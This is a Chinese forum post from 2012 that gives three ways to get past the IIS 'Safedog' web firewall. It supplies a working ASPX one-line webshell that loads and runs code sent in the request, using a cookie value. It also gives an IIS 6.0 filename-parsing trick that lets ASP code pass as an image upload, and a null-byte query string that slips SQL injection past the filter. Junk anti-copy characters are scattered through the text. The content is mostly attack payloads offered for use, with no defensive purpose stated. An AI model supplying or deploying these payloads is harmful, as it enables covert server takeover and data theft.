1、绕过IIS安全狗的一句话。
% v, x- R( W9 P9 S* T* A前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
& L3 u4 {* Y8 C<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。% F8 V$ X) V1 n2 c& y) a4 w1 X
: @& h7 P5 E/ q" h* E2、IIS6.0解析漏洞遇到安全狗。" i/ M0 \! ~; ], t/ E
文件名为- {3 v8 u3 [: \8 l/ T. S. R+ p F
http://www.xxxxx.com/sh3llc0de.asp;1.jpg7 z5 Q/ H% v d+ T3 ~: O8 \0 P7 x# n, t
* ^( F2 g! `3 u. d, A+ ]
这样的会被IIS安全狗果断屏蔽。+ w1 b. A7 K8 _" R& B3 P. [
改成如下名称,IIS6一样会解析：1 y+ g% i$ O" h5 r8 y
www.xxxxx.com/;1.asp;1.jpg/ H* y. b) ]: A0 v! s O- E
; P1 ]8 s4 p( K. b+ A3 R
3、安全狗的注入绕过。
8 k! x4 C% t: Z2 a5 R3 {# c常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。: d7 D' V6 d9 C; p
但如果：
5 `$ N8 E! H9 I5 e. h6 Br00ts.asp?r00ts.com=%00.&id=69%20 and 1=1% p+ ]; p! _0 Z: U. G
就可以成功绕过了。: r" _2 P6 N; T: W/ i
7 `/ y3 p2 z# n) b
/ B6 E5 q5 b# a( m m B' ?8 ^. ` |
发表于 2012-10-31 08:25:30
收藏
支持
反对